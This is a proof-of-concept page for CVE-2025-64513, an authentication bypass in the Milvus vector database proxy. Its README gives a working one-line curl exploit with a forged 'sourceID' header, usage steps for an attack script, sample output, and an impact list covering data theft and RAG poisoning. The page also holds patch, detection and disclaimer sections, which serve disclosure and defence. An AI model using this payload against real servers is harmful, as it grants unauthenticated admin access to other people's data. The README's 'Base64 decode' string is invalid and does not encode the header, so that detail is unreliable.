CVE-2025-64513 PoC — milvus 授权问题漏洞

Source

Associated Vulnerability

Description

CVE-2025-64513

Readme

# 🚨 **CVE-2025-64513: Critical Auth Bypass in Milvus Proxy** 🌐💥

---

## 🎯 **At a Glance**
| Metric | Details |
|--------|--------|
| **CVE** | `CVE-2025-64513` 🔖 |
| **Severity** | **9.3 / Critical** 🔥🔥🔥 |
| **Type** | Authentication Bypass 🕳️ |
| **Auth Required?** | **None** 😈 |
| **Exploit Complexity** | **Low** (1-line curl) ⚡ |
| **In the Wild?** | Not yet… *but coming soon* 👀 |

---

## 🛡️ **Affected Versions**
| Branch | Vulnerable | **Patched** ✅ |
|--------|------------|----------------|
| `2.4.x` | `< 2.4.24` | `2.4.24` |
| `2.5.x` | `< 2.5.21` | `2.5.21` |
| `2.6.x` | `< 2.6.5` | `2.6.5` |

> **6,000+ exposed instances** on the internet 🌍 (FOFA scans)

---

## 🔍 **How It Works (PoC)**
```bash
curl -H "sourceID: @@milvus-member@@" \
     -X POST http://your-milvus:19530/api/v1/collections \
     -d '{"collection_name": "pwned"}'
```
➡️ **Boom!** Full admin access. No password. No token. 😱

> **Base64 decode**: `@@milvus-member@@` → `QEBtaWx2dXMt@WVtYmVyQEA=` *(not even needed!)*

---


## How to Use (Step-by-Step)

```
# 1. Save as CVE-2025-64513.py
chmod +x CVE-2025-64513.py

# 2. Run against YOUR system
./CVE-2025-64513.py http://your-milvus-proxy:19530
```

## Sample Output (Vulnerable)

```
TARGET: http://milvus-prod:19530
TEST COLLECTION: cve_2025_64513_test_a1b2c3d4

[*] Version Check → Success (v2.6.4)
[*] Create Test Collection → Success: cve_2025_64513_test_a1b2c3d4
[*] Verify Collection → Found: cve_2025_64513_test_a1b2c3d4
[*] Cleanup → Deleted: cve_2025_64513_test_a1b2c3d4

==================================================
VULNERABLE TO CVE-2025-64513
Upgrade to 2.4.24 / 2.5.21 / 2.6.5 IMMEDIATELY!
==================================================

REPORT SAVED: report_cve_2025_64513_a1b2c3d4.json
```

## Generated Report `(report_*.json)`

```json
{
  "cve": "CVE-2025-64513",
  "target": "http://milvus-prod:19530",
  "vulnerable": true,
  "proof": {
    "version": "2.6.4",
    "collection_created": true
  },
  "cleanup": true,
  "steps": [ ... ]
}
```

---

## ⚠️ **Impact Matrix**
| Risk | Level | Details |
|------|-------|-------|
| **Data Theft** | High | Steal embeddings, user profiles, AI models 🕵️ |
| **Data Tampering** | High | Inject fake vectors, poison RAG 🔬 |
| **DoS** | Medium | Crash proxy, disrupt AI pipelines 📉 |
| **Lateral Movement** | High | Pivot to Kubernetes, cloud metadata ☁️ |

---

## ⏰ **Timeline**
| Date | Event |
|------|-------|
| **Nov 10, 2025** | CVE published + patches dropped 📢 |
| **Nov 11** | PoC on GitHub, scans go wild 🛜 |
| **Nov 12** | Blogs, Nuclei templates, panic 😵 |
| **Nov 13 (Today)** | **Patch or perish** ⏳ |

---

## 🛠️ **Fix It NOW!**
1. **Upgrade** 🚀  
   ```bash
   docker pull milvusdb/milvus:v2.6.5
   ```
2. **Restrict Access** 🔒  
   - Firewall: Allow only trusted IPs  
   - Kubernetes: `NetworkPolicy`  
3. **Enable mTLS** 🔐  
   - Force client certs  
4. **Monitor Logs** 📡  
   ```bash
   grep "@@milvus-member@@" /var/log/milvus/proxy.log
   ```

---

## 🔎 **Detection (IoCs)**
| Indicator | Tool |
|---------|------|
| `sourceID: @@milvus-member@@` | Suricata / Zeek |
| `/api/v1/users` without token | SIEM Alert |
| New collection `pwned_*` | Audit Logs |

> **Nuclei Template**: `cve-2025-64513-milvus-bypass.yaml` (ProjectDiscovery) 🛠️

---

## 🏆 **Best Practices**
- Run Milvus **behind NGINX** with rate limiting ⏱️  
- Use **RBAC** (Milvus 2.3+) to limit damage 🎛️  
- Scan with **Shodan/FOFA**: `app="Milvus"` 🌐  
- Rotate **all API keys** post-patch 🔑  

---

## 🎉 **Final Word**
> **Patch today. Sleep tonight.**  
> Don’t let your AI become *someone else’s* AI. 🤖⚔️

**Your move, sysadmin.** ⏰


---

# ⚠️ **LEGAL & ETHICAL DISCLAIMER** ⚠️

> **READ THIS BEFORE USING ANY CODE OR INFORMATION PROVIDED**

---

### **You are solely responsible for your actions.**

---

#### **1. Authorized Use Only**
- This **Proof-of-Concept (PoC)** and associated information are provided **exclusively for:**
  - **Penetration testing** on systems **you own**.
  - **Vulnerability validation** in environments where you have **explicit written authorization**.
  - **Internal security assessments** within your organization.

> **Unauthorized access to computer systems is illegal** under laws such as:
> - **CFAA** (United States)
> - **Computer Misuse Act** (UK)
> - **GDPR Article 32** (EU)
> - And similar laws worldwide.

---

#### **2. No Malicious Use**
- **Do NOT** use this PoC to:
  - Attack systems without permission.
  - Exfiltrate data.
  - Disrupt services.
  - Conduct reconnaissance on third-party infrastructure.

> **xAI, Grok, and the author assume zero liability** for misuse.

---

#### **3. Defensive Intent Only**
- This tool is designed to:
  - **Prove vulnerability existence**.
  - **Generate evidence for remediation**.
  - **Support responsible disclosure**.

> It includes **automatic cleanup** to minimize impact.

---

#### **4. Reporting Responsibility**
If you discover a vulnerable system:
1. **Notify the system owner immediately**.
2. **Do not exploit further**.
3. **Provide the generated report** to aid in patching.
4. Follow **responsible disclosure** practices.

---

#### **5. No Warranty**
- This PoC is provided **"as is"**.
- **No guarantee** of functionality, safety, or completeness.
- May produce **false positives/negatives**.
- Use in production environments at **your own risk**.

---

### **By proceeding, you agree:**
> ✅ I will only test systems I own or have permission to test.  
> ✅ I will not use this for malicious purposes.  
> ✅ I will report findings responsibly.  
> ✅ I accept full legal and ethical responsibility.

---

**Proceed only if you understand and accept these terms.**

*Security is a shared responsibility. Test to protect — never to harm.* 🛡️

File Snapshot

 [4.0K]  /data/pocs/134b89e2a931fe7227615b8fc18c49a6d9199a8b
├── [5.0K]  CVE-2025-64513.py
└── [5.8K]  README.md

1 directory, 2 files

Remarks